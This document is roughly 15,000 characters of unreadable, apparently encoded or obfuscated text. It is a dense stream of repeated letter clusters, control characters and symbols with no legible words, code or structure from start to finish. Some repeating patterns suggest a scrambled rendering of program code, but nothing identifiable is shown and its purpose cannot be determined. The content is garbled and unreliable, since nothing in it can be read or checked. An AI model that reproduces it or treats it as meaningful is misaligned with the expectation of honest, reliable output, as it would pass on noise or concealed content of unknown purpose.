 UUTQ	WJFFFNUSRMPPOO]l FFN
VUNB 
 UUTQ	WOOFFB_SUV [WSMUP]B S[B_SUV KTT]lFFF FNU	NWQT^ON9UNTVVOOOFFF&	9
NB 
 UUTQ	WJFFO]lFFFFF
 FN&	^R_ NWQPUONB 
 UUTQ	WOOFFFlFFB	PP_V=B9 T^SPTWS;F[FFFB 
 UUTQ	W]lFFFFlFFFFFlFFFF&9		N9UNWQPQOJFFFFFFB	PP_VJFFFF	^R_ NWQRUOO]lFFFFFFFlF 	FFS
	9
 NOlFFFFFFlFFllllB
WSW9TFF[FFF	^R_ NWQT^ON	^R_ NWPQOOFFYFF&	99
NOF\FFFF

]lFFFFF FNlFP

_
TNWQRRONB
WSW9TOFFFF@@FGNB
WSW9T=U	NWP_O;OF@@FFGNB
WSW9T=9UNWQVO;OlF@@FP

_
TNQ_PONB
WSW9T=U	NWQVO;JFN#9#44)4JFF#96'45#JFF#9%)4#9#44)4JFFFFFF#9%)+6/*#9#44)4JFFFFFF#935#49#44)4OJFFOlFOFFFFFlFB PSU
^FFF[FF&9UN^U^ONWP__VVUVNOO]lFFFFllllFFFFFFFB9 FFFFF[F&	^R_ N^U^ONB
WSW9T=P

_
TNWP_O;O]llllFFFFFF FFNP

_
TNWQS^ONB PSU
^OF@@FFFU	NWQS^ONB9 OF@@FFFFB9 F[[[FB PSU
^OFF]lFFlFFFPSU_^_U
T_NU	NWQSWOO]l FN NU	NWSPSOOOFlFB	^^P_WSQRFFFFF[FFF
RUTU9RNO]lFllF FN&	^R_ NWQPUONB	^^P_WSQR=W;OOFFFFFlFFBPTPURWFFF[FFF&P

_
TNWQPVONB	^^P_WSQR=W;JFF 
JFFFFF

JFVJFFNTUQ8WQUOO]llFF FNU	NWQS^ONBPTPURWOF@@F9UNWPUUONBPTPURWJFFP

_
TNWSQTOFHFFF^P	PU QNOFHFFFA\AOFFF[[[FFFFVOFFlllB	_ P	FFF[FF&	^R_ NWQPUONB	^^P_WSQR=W;FFFHFU	NWQP_OOFFFFFFYFFFFF&9UNWQPVONB	^^P_WSQR=W;FHFU	NWQQVOJFFF 
JFFFFF

JFFVJFNRSMW_OOF\FFFFFDD]l FNB	_ P	FG[[FFFBPTPURWOFFFFF&P

_
TNWQQWONB	^^P_WSQR=W;JFFFB	^^P_WSQR=W;FFFFFHF	^R_ NWQQTOO]lFFlFFlFNB	^^P_WSQRJFFBPTPURWJFFB	_ P	O]lFFFFFFFFlFFFFFFFFFFN2	
FB^V_OFFFlFFFFFFFFFFFFFN#	FB^V_OFlllF 	FFWPQS
TSNB
WOlFFFFllll FNG	^R_ NWQQUONB
WOOFFFFFFFDD]lF FNP

_
TNWQQRONP

_
TNWQQSOJFB
WJFFBTSWOOFFlFFFF 	FFNBTSW=W;FFFFFFFBVOFFFlF FNQP TQWRWN	^R_ NRVTONBVJFFFFOOOFFFFFFFDD]lFFFFFFlFFFllll FFNP

_
TNWQQPONU	NWQQQOJFB
WJFFFFBTSWOOFFFFlFFFFF 	FNBTSW=W;FFFFFFFBVOFlFFFF FNQP TQWRWN
NBVOOOFFFFFFFDD]lF FFN9UNWPUUONBVJFFF	^R_ NWQQ^OOFFG[[F 
OFB	S
W
^SU[6.69+',)490#45/)(]BVP[B	S
W
^SULR]lFFFFB
TPT9FFF[FF9
9

N9UNWQQ_OJF9UNWQ^VOJFFFFBVO]l FFFFFFNU	NWQQUONB
TPT9OF@@FB
TPT9FFG[[FFFBVFFF@@FQP TQWRWNB
TPT9OOFFFFFDD]lFFlFFFFFFlFlFF FN	^R_ NWQQPON	^R_ NWQ^WOJFFB
WJFFBTSWOOFFFlll 	FFFFFNBTSW=W;FFFFFBVOFlllF FNQP TQWRWN9UNWQ^TONN9UNWQ^UOJFF	^R_ NWQ^ROOJFFNA::AJFA:AAOJFFBVOOOFFFDD]llllF FFNU	NWPUUONBVJFFP

_
TNWQQ^OOFG[[FF 
OFFFlB
TPT9FFFF[FFFF9
9

NP

_
TNWQQ_OJFFFP

_
TNWQ^VOJFBVO]lFFF FFFN	^R_ NWQ^SONB
TPT9OFFF@@FB
TPT9FFFFG[[FFFBVFFFFF@@FFFQP TQWRWNB
TPT9OOFFFFFFFFFFDD]llllFFFFFFlFFFlFlFFB
W]ll 	FF_
WNBQQS9OlFFFFlFF FFNG	^R_ NWQ^SONBQQS9OFFFN	^R_ NWPUUONBQQS9JFFFP

_
TNWQ^POOF[[[FFFFFF 
F@@FFFFFF	^R_ NWQ^QONBQQS9JFFFU	NRVTOOF[[[FFF 
OOFFFFFFF 
]llllFFF FFN	^R_ NWQQPONP

_
TNWQQSOJFBQQS9JFBTSWOOFlll 	FFFNBTSW=W;FFFFFFFFBVOFFFlFFF FNQP TQWRWNU	NRVTONBVJFFFFOOOFFF]lFFlFl FFN9UNWQQPON	^R_ NWQQQOJFFBQQS9JFFFFBTSWOOFFFFllF 	FFFFFNBTSW=W;FFFFFBVOFFFFlFF FFFFNQP TQWRWN
NBVOOOFFFFF]llIIF&	F 
llF 	FFNBTSW=W;FFFBVOFllllFFFF FFFNU	NWQ^^ONBVJFP

_
TNWQQ^OOFFF[[[FF 
OFFF	]lllB
TPT9F[FFFF9
9

N9UNWQQ_OJFFU	NWQ^VOJFFFFFFBVO]lFFFF FFFNP

_
TNWQ^SONB
TPT9OFF@@FFB
TPT9FG[[FFFFBVFF@@FFQP TQWRWNB
TPT9OOFFF]lFlFFlFFFFF FNU	NWQ^_ONU	NWQ^WOJFFFFFBQQS9JFFFFFBTSWOOFFFFFlllFFFFFF 	FNBTSW=W;FFFFFFBVOFllF FNQP TQWRWNP

_
TNWQ^TONN	^R_ NWQ^UOJFFFP

_
TNWQ^ROOJFFNA::AJFA:AAOJFFFBVOOOFFFFFF]lllFFlFFFF 	FFFFFNBTSW=W;FFFFFFFFBVOFlF FFFNU	NWQ_VONBVJFFP

_
TNWQQ^OOF[[[FFF 
OFF	]lFB
TPT9F[F9
9

NU	NWQQ_OJFU	NWQ^VOJFBVO]l FFFN9UNWQ_WONB
TPT9OFFFFF@@FFFB
TPT9FFFFG[[FFFFFFBVFFF@@FQP TQWRWNB
TPT9OOFFFFFFF]llllFFFFFFFFF 
]lllFFFlF 	FF	WS	P W_NBQQS9OlFFFBTQ[W_SWU]BQ ST9	^_[BTQ8WQ]llllFFFFFF FFFNG9UNWQ_TONBQQS9OFFFBQQS9FFFFF[[[FFDDOFFDD]lFFFFN	^R_ NWQTWON	^R_ NWQ_UOJFFU	NWQ_RONBQQS9JFFFVJFNWTPUMP_T_OOJFFFFBQWS_P _QOOFFYFBQWS_P _Q=W;FFF\FFDD]llF 	F_RWUNBT VVJFFFB9	JFB
 P9VW^FF[F

OlBQRWQS[KR^W]B
QW_[NBQRWQSXVOYBQRWQS\KBQRWQS]lFFFFF FFFNG9UNWQ_SONBT VVOFFFBT VVFFF[[[FFFFDDOFFFFBT VV]lFBUV	
FF[FFFFFP

_
TNWQ_POFHFFB9	FFFFFHFFF	^R_ N_P_O]lFBU	9F[FDD]lFFFB QTP9
 QFF[FFV]lFFFF
FFFNB QTP9
 QMMFFFFFZFFFFFNRZZSOOFFFFFlFFFFFFFBPS
	_ FFFF[FFF9UNWQ_VONBT VVJFBUV	
O]l FNBPS
	_ FFF[[[F 
OFFF]lFFBPPQ
	FFF[FBPS
	_ FFFFFMFFP

_
TNWQTUONBUV	
O]lFFBPPSF[FFP

_
TNWQ_VONBT VVJFF	^R_ NWPTQOJFFBPPQ
	O]lFFFF FFFNBPPSFFF[[[F 
FFFFFFFFBPPSFFFKFFFFBPPQ
	FFFXFFNRV8WVROOFFlFFFFFBU	9FFFH[FFP

_
TNWQ_RONBT VVJFFVJFFFBPPQ
	O]llFFFFBT VVFFF[FFFF9UNWQ_RONBT VVJFFBPPQ
	O]l	]lFFFFFFFlFFFFFB WVWVW
FFF[FFF	^R_ NWQ_RONBT VVJFFFBPPQ
	JFFBPPSFKFFBPPQ
	O]lFllFFFF FFFFNG9UNWQTWONP

_
TNWQ_QOJFB WVWVW
OOFFFlFFFBU	9FFFH[F9UNWQ_^ONBT VVJFFFFVJFBPPQ
	O]lFBT VVFFF[FFFFP

_
TNWQ_^ONBT VVJFFFBPPQ
	O]l	]lFFFFlB^RSRRFFFF[FFFF9UNWQ__OFFHFB9	FHFFF9UNW^VVOFHFFB WVWVW
FFFHF	^R_ NWPTQO]lFFFB ^QQWF[FFFFF	^R_ NWQ_VONBT VVJFFB^RSRRJFFFBPPSO]lFFF FNB ^QQWFF[[[FFF 
OF]llFFFFBU	9FFH[FFFU	NWQ_^ONBT VVJFFFFVJFFFBPS
	_ O]lFFFFFFFB V F[FFFF	^R_ NWQ_^ONBT VVJFFFBPS
	_ JFFFFB ^QQWFMFFP

_
TNW^VWONB^RSRROFKFFFFBPS
	_ O]lFF FFNB
 P9VW^FG[[FF

OFFFFlFFFFFFFFB TW	R	_ SQPFF[F	^R_ NUUSONB
 P9VW^JFFFB V O]l FFNU	NWQ_SONB TW	R	_ SQPOOFFBU	9FH[FFB TW	R	_ SQP]lllFF
FFFlFBU	9FFFFH[FFFFFFB V ]B 
SR9R[6.69+',)490#45/)(]BWVTQ[B 
SR9RLS]llFFFFFFlBT VVF[F	^R_ NWQ_^ONBT VVJFFFFB ^QQWFFFFMFF	^R_ NW^VWONB^RSRROO]lFllFllFFFBU	9FFHFFFFFFBT VV]lllFlFF 	FFFPQ
SUWU^NB
WOllllFFDD]lFllFFFFFlFF 	FFFQUUWV^NB
WOlFFFllF FNGU	NWQ_SONB
WOOFFFDD]lllF FNG NP

_
TNWSPSOOOFFFB
W]lFB
W_FF[FF	
_N'$56'2.FFFFHFFU	NW^VTOJFFFFFNRZZWOO]lFFFFFF FFFFFFNP

_
TNWQTWONP

_
TNW^VUOFHFFB
W_FFFHFFU	NW^VROJFB
WOOFFFFFDD]lFFFFFFFB
W]lFFFlF 	FFFFF9PS^NBT VVOll FFNG9UNW^VSONBT VVOFFFFFFFBT VVFFFF[[[FDDOFFFFBT VV]lFFFBVTVWFF[F_RWUNBT VVJFFFP

_
TNW^VPOJFFU	NW^VQOO]lFFFFBVTVWFF[FF_RWUNBVTVWJFU	NW^V^OJFF9UNW^V_OO]lFFF FFFNP

_
TNW^WVONBVTVWOOFBVTVWFF[FFP

_
TNWPUQONP

_
TNW^WWOJFFFFFFDDJFFFBVTVWO]llllF FFFNG	^R_ NW^WVONBVTVWOOFFFFFFBVTVWFF[FBT VV]B^S_[6.69/(29+'>I6.69/(29+'>]B 9[B^S_M_W]lFFFF FFFN_
WNBVTVWOOFFFFllFFFFBVTVWF[FFF_RWUNBVTVWJFFFU	NW^VPOJFP

_
TNW^WTOO]lllBVTVWFFFFF[FF_RWUNBVTVWJFF	^R_ NW^WUOJFFFFF	^R_ NW^WTOO]lFF FFFN	^R_ NW^WRONBVTVWOOFFFBVTVWFF[FFFFP

_
TNWPUQONU	NW^WWOJFFDDJFFBVTVWO]lFllFFFFFFFP

_
TNW^WRONBVTVWOFYFFBVTVWFF\FBT VV]lllFF 	FVQUS_

UQNBT VVOlFFFlF FFFFFNG9UNW^WRONBT VVOFFG NP

_
TNWSPSOOOFF 
]lFFFF FFN9UNWQTWON	^R_ NW^WWOJFFBT VVOOFFFF]llllB
FFFF[FFF	
_N'$56'2.FFHFFFFP

_
TNW^WSOJFFFNVPMVTOO]l FNP

_
TNWQ^_ONU	NW^WPOJFBT VVJFFFFB	STR_OOFlFF 	FNB	STR_=W;FFFFFFFFFB
WT^	OFFFFFFlFFFFFF FN9UNWQ_^ONB
WT^	JFFFKNRMSOOFFF[[[FFA\AFFHFFB
OFFFFFFFF]lFFFFFFFllllFB9FFFFF[FFU	NWQ_^ON	^R_ NWQPSON'$56'2.FFFFHFFU	NW^WQOOJFFFVJFFFFFNWTKROO]lFFFF FFFNP

_
TNWQ^_ONU	NW^W^OJFFBT VVJFFB9OOFlIIF16F5F$
	F	F	llF 	FFFNB9=W;FFFFFBVVOFFFFl FNBVVFFFF[[[FFFB9OFFF]lFFlFlFFFF 
]lllFFFFlF 	F_W9WNOllFFFlFF FNGNB9!#2=U	NW^W_O;OFFFG	^R_ NW^WRONB9!#2=	^R_ NW^W_O;OFFFFFFG	^R_ NWQT^ON9UNWQVSOOOFF]lFFFFFBTU9
 9FF[FFFF&9		N9UNW^TVOJFFNOO]l FNG9UNW^TWONBTU9
 9OOFFF]lFB
^Q^	P^R
UFF[FNOFB9!#2=9UNW^TTO;]lFB ^R^QF[FNO]lF FNNBTU9
 9=AA;OOFFFFB ^R^Q=;FFF[FNOFFFFBTU9
 9=AA;]lFFFF FFFNNBTU9
 9=9UNPUVO;OFF@@FFFFFP

_
TNW^TWONBTU9
 9=U	NPUVO;OOFl 	FFFFFFNBTU9
 9=U	NPUVO;FFFFFB_
 OFlllFF FFFFNP

_
TNW^TWONB_
 OFFFFFF@@FFFFFNB_
 =AA;OOFFB ^R^Q=;F[FFFFFNOFFFFB_
 =AA;]lFFFFFFlFlFB
Q T_FF[F 
]lFF 	FFFFFNB ^R^QFFFFBT OFFFBUU[6.69+',)490#45/)(]B^[BUULS]lFF FNBT FFFF[[[FDDOFFF	]lFFB
Q T_F[FFFFP

_
TNWQT^ONP

_
TNW^TUOOFFFYF9
NBT JFFFFFB
^Q^	P^R
UOF\FFFFNBT F[[[FFFFFFB
^Q^	P^R
UO]lFF FFNB
Q T_OFFFF]lFFlIIF&		F
llF FFNGB
Q T_OF]llll FFFNU	NWQT^ONU	NSTTOOOFFllllFFFU	NSTTON 	FFNOFFNB
^Q^	P^R
UOFFlFFFFF	FFFFFD:ZGKK5%-\DFFFFHFB
^Q^	P^R
UFFHFF	^R_ NW^TRO]lFO]llFFFFlFlF 	FF_Q  ST
9	

NOlFFFFFlFFFFFF FFNGU	NW^TSONU	NWQVSOOOFFFF 
]lllFFBQWS_P _QFFFFF[FF&9		NU	NPTSOJFFDDO]llllF FNGP

_
TNW^WRONBQWS_P _QOFFFFF	^R_ NWQ_VONBQWS_P _QJFFF	^R_ NW^TPOOFG[[FVOFFFFF 
]lB	U9QUFFF[FFFFNOFF9UNWQ_^ONBQWS_P _QJFNW^_8W^QOO]lFFFFFF FFFNB	U9QUFF@@FFFF9UNW^TQONOFFFKFFB	U9QUFXFFFN^PUSPMRROOFF 
]lFFFFF]lFl 	FVW9_		SNB
V^V^JFBS	^OllIIF+F\F
	FllFFF FFFFFFNGU	NW^TSON9UNWQPPOOFFFGP

_
TNW^T^ON9UNSTTOOOFFF 
]llFFFFF FFN_Q  ST
9	

NOOFFFFF]lFFFFFBTU9
 9FFF[FF&9		NU	NW^TVOJFFFNOO]lFF FFNG9UNW^TWONBTU9
 9OOFFBTU9
 9F[FFFFFNO]lFFFFFFF FFNGNBTU9
 9=P

_
TNW^T_O;OFFFGP

_
TNW^TWONBTU9
 9=U	NW^T_O;OOFFllllBU	RQ^F[FFFFFNO]lllF FFNNBTU9
 9=AA;JFFBTU9
 9=AA;JFBTU9
 9=AA;OOFFFlIIF		F	F	
KllFFFFFBU	RQ^=	^R_ NWQPSONNOFFFBTU9
 9=AA;O;FF[FFNAAFFFF[XFFNOFBTU9
 9=AA;JFFFFFAAFFF[XFFNOFFFBTU9
 9=AA;JFFAAFF[XFFFFFNOFBTU9
 9=AA;JFFFFFP

_
TNWV^VOF[XFNBTU9
 9=9UNWV^VO;OFFYFFFNOFFBTU9
 9=P

_
TNWV^VO;FF\FF	^R_ NW^TQONOJFP

_
TNW^UVOFFF[XFVJFFAAFFFF[XFVO]lFlFFFFBTU9
 9FF[FFN	^R_ NW^T_OFF[XFFBU	RQ^O]lFFlFFFB WVWVW
F[FFFFFP

_
TNWQPSONB
V^V^O]llFFFF FFFFNNBTU9
 9=U	NW^T_O;=B WVWVW
;OOFlFFFFFBTU9
 9=U	NW^T_O;=B WVWVW
;=	^R_ NWV^VO;FFFFFF[FFFP

_
TNW^UWONO]llllFFBTU9
 9=P

_
TNW^T_O;=B WVWVW
;=9UNW^UTO;FFF[FFFFV]lllFFFFFBTU9
 9=	^R_ NW^T_O;=B WVWVW
;=AA;F[FFNBS	^FF[[[FFFDDOFFFYFWFFF\FFFV]l FNG URUSWNBTU9
 9=U	NW^UUO;=B WVWVW
;=AA;JFFFFFFBS	^OOFFlFFFFFFFF	RR^TT9
N9UNW^UROJFFFFF	^R_ NW^USOO]lFFFFF 
]lFFllFF
FFlFFFFFFFBQ
WVFF[FFF 	T^U^NO]lFB _R
UF[FFFBQ
WVFFHFFP

_
TNW^UPOFFFHFF	
_NB
V^V^JFFNW_KQOOFFFHFFFF	^R_ NW^UQO]l FNG URUSWNB _R
UJFFFBS	^OOFFl	RR^TT9
NP

_
TNW^UROJFFFFFFU	NW^U^OO]llllFFFFFFF 
]llllFlFFBTU9
 9=	^R_ NW^UUO;=B WVWVW
;FFFF[FFNAAF[XFFFFRWPVQTVWNNRQ8PUOOJFFFAAF[XFFFFFB
V^V^JFFFFFAAF[XFFFFB _R
UJF	^R_ NWV^VOF[XF9UNW^U_ONOJFU	NW^RVOF[XFVJFAAFF[XFNBS	^FF[[[FFFDDOFFFFFFYFWFFFF\FFFVO]llFlFFFFF
FFFFFN	^R_ NW^RWONBTU9
 9=9UNW^UUO;OFFFXFFFFFNWRKROOFlFFFFB R^U FFFFF[FF

]llllFFFFFBPVUU	RFFFF[F

]lllF 	FFFNBTU9
 9=	^R_ NW^UUO;FFFFBWTWQPF[XFFB^PWW
V	OFlllFFF FFFFNBPVUU	RFFF[[[FFF

FFNOFB^PWW
V	=U	NWV^VO;FFZFFFFFBPVUU	ROFBV [NVMVQRO]B		R99[BV C_]llllFFFFFFFBPVUU	RFF[FNOFB^PWW
V	=P

_
TNWV^VO;]lB R^U F[FFFBWTWQP]llFlFFlFF FFFNB R^U FF[[[FFF

OF]lF
VUNBTU9
 9=9UNW^RTO;=B R^U ;=AA;O]lFFFNBTU9
 9=P

_
TNW^RTO;=B R^U ;O]lFFFFFFllFFFFF&9		NU	NW^RUOJFFFFBTU9
 9JFFFF	^R_ NWQRUOO]lFFF9UNSTTONU	NW^RROO]lFFFF]lFlllFFFF 	FV^T^WR
NB^WP OlFFFFFllllFFFB
FF[F&U	NW^RSONB^WP JFFN	^R_ NWWSUOFFF[XFFN_MUOJFFFFU	NWWRPOFFF[XFF 
JFF	^R_ NRR^OF[XFFJFFFFFF	^R_ NW^RPOFFFFF[XFFVJFFFFF	^R_ NWWR^OFF[XFFNU	NWWR_OFFFFF[XFU	NW^RQOJFFFFF9UNW^R^OFFFF[XFFU	NWWSVOOOO]lFFFFF FFFFNU	NW^R_ONU	NW^SVOOFF@@F99	NB
OOFFFNKWJF 
O]lFFFFFFBR^STV	
WFFFFFF[FFU	NW^R_ONP

_
TNW^SWOOFFFYFNOFFF9	99	9	NB
OFF\FV]lFFFFNBR^STV	
WJFFBR^STV	
WFFFFXFFVF@@FFFFP

_
TNW^STONU	NW^SUOOFYFNOFFFFF9	99	NB
OFFF\FDDO]lFFl 	FFFU 9PQNB_
 OllFFB	WQW
Q^FFFFFF[FFF&9UNW^SRONB_
 =AA;O]B RWRPR^R[W^LS]BW[B RWRPR^RKRV]ll FFNG9UNW^WRONB	WQW
Q^OOFF 
]lFFFFF FFFFNB	WQW
Q^FFFF[[[FFFFFDDOFl FFFNNB_
 =AA;OOFFF 
]FlFFFFBV^FFF[FFG&	^R_ NW^SSONB_
 =AA;O]lFFFF FFFNGBV^OFFFFFB R RU[6.69/(29+'>I6.69/(29+'>]BP9[B R RUMTS]lFFFFU9
 NB_
 =AA;JFFNUQ_MRWOO]lFFFFFFFBV^FF[F
VUNB_
 =AA;O]lFFFlFF FFFNU	NW^STON9UNTVVOOOF&	9
NB_
 =AA;JFO]lFFFBV^]BSV[6.69+',)490#45/)(]B _T[BSVLW]lFFFFlFFFFFFFF FFFNG URUSWNB_
 =AA;JFFB	WQW
Q^OOFFFFFF 
]llFFFFF FFNP

_
TNW^STON9UNTVVOOOFF&	9
NB_
 =AA;JFFO]lllFFFFFFF]llllFFFF 	FFFF	9	RWNOlFFl FNGP

_
TNW^STONU	NW^SPOOOFF]lFFBTU9
 9FF[FF&9		NU	NW^RUOJFNOO]lllFFFFF FNG9UNW^TWONBTU9
 9OOF]lFFFFFFF FFFFNGNBTU9
 9=9UNW^RTO;OFFFFG	^R_ NW^TWONBTU9
 9=U	NW^SQO;OOFFFFFFlFFFBU	RQ^FF[FNO]lFFF FFFFFFNNBTU9
 9=AA;JFFBTU9
 9=AA;JFFFBTU9
 9=AA;OOFllllBU	RQ^=P

_
TNWQPSONNOFFBTU9
 9=AA;O;FFF[FFFNAAFFF[XFFFFFNOFFFFFBTU9
 9=AA;JFFAAF[XFNOFFFBTU9
 9=AA;JFFAAFF[XFFNOFBTU9
 9=AA;JFP

_
TNWV^VOFF[XFFNBTU9
 9=P

_
TNW^S^O;OFFFFFYFFNOFBTU9
 9=P

_
TNW^S^O;FF\FU	NW^U_ONOJFU	NW^RVOF[XFFVO]llBTU9
 9FF[FNP

_
TNW^SQOFF[XFFFBU	RQ^O]BR P^[RTLP]BRRT[BR P^KWP]lFlFFF FNNBTU9
 9=U	NW^SQO;OOFFFFlF&
9		NP

_
TNW^RUOO]lF]B_SS9[PVT]B
WW[B_SS9CWP]llFFFFFFFBSRP_^FFF[FFF 
]ll FFNBSRP_^OFFFFF]llFFFFFFBSRP_^FF[FFF]lF FFFFN9UNW^STON	^R_ NW^S_OOOF&9UNW^S_ONO]l
 FFFFFFN	^R_ NW^STONU	NW^PVOOOFFFF&9UNW^PWONO]l FFFFFNU	NW^STONU	NW^PTOOOFFFF&	^R_ NW^PUONO]lFFFF FFFFFNG9UNW^STON9UNW^PROOFFFGU	NW^STONP

_
TNQ^UOOOF]lFFB		QFF[FFFF	9
NAIAO]llFFFB9RVPSF[FFFF9UNW^STONU	NPUPOOFFFYF9
	9
NOFFFFF\FB		QFFHF	^R_ NW^PSO]lFFFBPPT_^UFFFFF[FFFFFF 
]lFFFB	QR9_TFF[FFF]lBP
_9SF[FNWMTO]lFFF 	FFFNBTU9
 9=9UNW^SQO;FFB WVWVW
FF[XFFB_
 OFFlFF FFFFFNGP

_
TNW^TWONB_
 OFFFFFFNB_
 =AA;OFFFFNB_
 =AA;OFFFFFFNB_
 =AA;OOFFlFFNBTU9
 9=	^R_ NW^SQO;=B WVWVW
;O]lFFBPPT_^UFF[F]lFF	]lFFl FFFFFFN9UNW^PPONOFFKFFNOFFB_
 =P

_
TNW^S^O;FFXFNUUTMWRP^OFFFFNOFFFFB_
 =U	NW^RVO;FFFX[FFN_KUOOFlllFFFF	RR^TT9
NU	NW^UROJFFFF	^R_ NW^PQOFHFFP

_
TNWPQPONB_
 =AA;OO]lFFFF
VUNB_
 =AA;O]lFFFFFFNBTU9
 9=P

_
TNW^SQO;=B WVWVW
;O]lFFFBPPT_^UFF[FFFFF]lFFF	]lFFFlFFFFFFF FFFFNBP
_9SFFFZ[FVOF]lFFBP
_9SKK]lFFBQ 9PTP TFFFF[FP

_
TNW^P^OFFHFFP

_
TNW^P_ONB_
 =AA;OFHF9UNW^QVOFFHFFFU	NWWRRONNVT  WMVWSP OJFFNSWPWUVMR^U^P_OO]lF
NBR^STV	
WJFFB9 
VOFFFFF[FFFFV^T^WR
NB		QFHFFBQ 9PTP TO]l FNBR^STV	
WFFXFFVOFFB	QR9_TF[F 
]lF FFFFFFNBR^STV	
WFFFZ[FFFVF@@FU	NW^QWONP

_
TNQ^QOOOFFFFU	NQ^QONTO]lFFFFF FFNBR^STV	
WFFFFFZ[FFVOFFFlllFFF
NBR^STV	
WJFFFB9 
VOF[FFV^T^WR
NB		QFHFFFFFBQ 9PTP TO]lllF FFFFNBR^STV	
WFXFFFFVOFFFFFFB	QR9_TFFF[F 
]lllllFFFF FFNBR^STV	
WFZ[FVOFlFFBTU9
 9=U	NW^SQO;=B WVWVW
;=P

_
TNW^RVO;MM]lBPPT_^UF[FFF]l	]llllFFFlF FFFNBR^STV	
WFFX[FFNRURMPPOOFFFFlFFFFFF FFFNU 9PQNB_
 OOFlF	RR^TT9
N	^R_ NW^UROJF	^R_ NW^QTOFFFFFFHF9UNWPQPONB_
 =AA;OO]l
VUNB_
 =AA;O]llllFNBTU9
 9=P

_
TNW^QUO;=B WVWVW
;O]lFFFFFF
FlllFBTU9
 9=	^R_ NW^QUO;=B WVWVW
;=U	NW^RVO;MM]lFFFFlBPPT_^UF[FF]l	]lFFlFFFFFF FNP

_
TNW^QRONB9 
VJF	^R_ NW^QSOFFFHFFFFB_
 =AA;FFFHFP

_
TNW^QPOOFFFG[[FFF 
OFFFFlF
VUNB_
 =AA;O]lFNBTU9
 9=U	NW^QUO;=B WVWVW
;O]lFFBPPT_^UF[F]l	]llFFlFF
NB9_SQPWJFFFFFB9 
OFF[FFV^T^WR
NB9RVPSFHFN	^R_ NW^QQONB9RVPSJFFFFAYAOF[[[FF 
FFFYFFFFAYAFFF\FA@AOFFFHFF	^R_ NW^Q^OFFHFP

_
TNW^P_ONB_
 =AA;OFFFHF	^R_ NW^QVOFFFFFHFP

_
TNWWRRONNWV^USVK^USVOJFNWWSR_UM^^RSVPOOO]lFFFFFFF FFNB9_SQPWFFXFFFVOFB	QR9_TF[F 
]lllFF FFFNB9_SQPWFFFFFX[FFFFN_UMRVQOOFFlFFF FFNU 9PQNB_
 OOFFFFlIIF16F2F%
	\F
F
	lllFFF	RR^TT9
NP

_
TNW^UROJFFP

_
TNW^Q_OFFFFFHFFFP

_
TNWPQPONB_
 =AA;OO]llllFFFFFF
VUNB_
 =AA;O]lFFFNBTU9
 9=9UNW^QUO;=B WVWVW
;O]llFFFFF
FFFFFlFFBTU9
 9=P

_
TNW^QUO;=B WVWVW
;=9UNW^RVO;MM]lFFFlFBPPT_^UFFFFF[F]llF	]lllFlFFFF FFFN	^R_ NW^WRONB9 
OFFF@@FFFFFP

_
TNW^QQONB9 
JFP

_
TNW^QSOFHFB_
 =AA;FFHFU	NW^QPOOFFFFG[[F 
OFFFl
VUNB_
 =AA;O]lFFFNBTU9
 9=9UNW^QUO;=B WVWVW
;O]lFFFBPPT_^UFF[FFFF]llll	]lFlFFFBTU9
 9=	^R_ NW^^VO;=B WVWVW
;=9UNW^RVO;MM]lFBPPT_^UFF[FF]lFlFF FFFNB	QR9_TFF@@FBPPT_^UF@@FGNBTU9
 9=P

_
TNW^^VO;OOFFB	 U
W[6.69+',)490#45/)(]BRQ9_ ^U9[B	 U
WLU]lllFFFFFFBR	STTFFFF[F 
]lFFF 	FFFFNBTU9
 9=9UNW^^VO;FFFFFBRSTUOFFFFlIIF
F
KF 	F16F$
	F0	llFFF FFNNOFBRSTU=	^R_ NW^RVO;FX[FFFFFNRKWOOFlBR	STTFF[FFFF]B	
W
[Q^T]B9VS[B	
W
C_]lFF]lFFFlFFFlllF FFNBR	STTOFFFl&9		N	^R_ NPTSOJFFFF	^R_ NW^^WOFHFFF	^R_ NW^^TONOJFFFFFU	NWQRUOO]lllFFFF	RR^TT9
NU	NW^UROJF9UNW^^UOO]lF 	FNBTU9
 9=P

_
TNW^^RO;FFFBWTWQPFFFFFF[XFFBRSTUOFFFFFlFFFFF
VUNBRSTU=AA;O]lFFFFNBTU9
 9=U	NW^^RO;=BWTWQP;O]lFFllFFFFllllFFllFFFFFFFF
 FFNGB	QR9_TOFlIIF16F7F*		FF	llFFB SUT Q^	VFFF[F&9		NP

_
TNPTSOJFFFFDDO]lFFFFFFF FFFFNG	^R_ NW^^SONB SUT Q^	VOFFFFFFFF	^R_ NW^^PONB SUT Q^	VJFFFF	^R_ NWQSWOOFFFFG[[FFVOFF&9		NP

_
TNW^^QOJFFFP

_
TNW^^^OFFFHFFF	^R_ NW^^TONOJFFFU	NWQRUOO]lFFFl FFFNNBTU9
 9=	^R_ NW^^RO;OOFF&
9		N9UNW^RUOO]lFFF
 FFFFNBPPT_^UOFFFFF&9		NU	NW^RUOJFFFFFFBTU9
 9JFFP

_
TNW^^_OO]lFFFFlFFFF 	F RNBT VVOllFFFlFFFFFF9UNW^_VONBT VVOFFFFF@@FFNP

_
TNW^_WONBT VVJFU	NW^_TOOFFFG[[FFFFF 
FFFFP

_
TNW^_WONBT VVJFFF9UNW^_UOOFFFG[[FFFFF 
FFFU	NW^_WONBT VVJF9UNWSSUOOFFFG[[FFFF 
FFFFFP

_
TNW^_WONBT VVJFFF	^R_ NW^_ROOFFFG[[FF 
FFFFF9UNW^_WONBT VVJF9UNW^_SOOFFFG[[FF 
FFFFP

_
TNW^_WONBT VVJFFFFP

_
TNW^_POOFFFFG[[FFFFF 
O]lFFFl 	FFTUS99NBT VVOlFlFF FNG RNBT VVOOFFFFFFF 
]lFFFFFFF FFN_
WNBT VVOOFFFFF]lF FFFFFN9UNWQ^_ON9UNW^_QOJFBT VVJFFFFFBQWS_P _QOOFFllllFF 	FFNBQWS_P _Q=W;FFFFFFFFB^PWW
V	OFlF FN	9	NB^PWW
V	JFF^P	PU QNOJFFFFAZAOOFFFFFFF]lFFFFlFFFF 
]lFFlFF]lFFFFlFFF 	FFFF
9PT_TNB 
 UUTQ	WOllF FFNG&P

_
TNW^SSONB 
 UUTQ	WOFFFFFFFFG&U	NWPPPONB 
 UUTQ	WOOFFFFF]lFFB

_VT	FFFFF[FFF&	^R_ NWQSPONB 
 UUTQ	WO]llFFF FFFNGB

_VT	OFF]l FFFNB

_VT	FFFXFFFNWVR^SPPTM_^OOFFlFFB
R	VQFFF[FF&	^R_ NW^SRONB 
 UUTQ	WJFFFFF 
JFF

JFFVJFNPSRS^MQ^OO]lFFFFF FFNG RNB
R	VQOOFF]lFFF FFFNRRQ
NB 
 UUTQ	WOFFFF[[[FFFF 
OFFlFFFF	RR^TT9
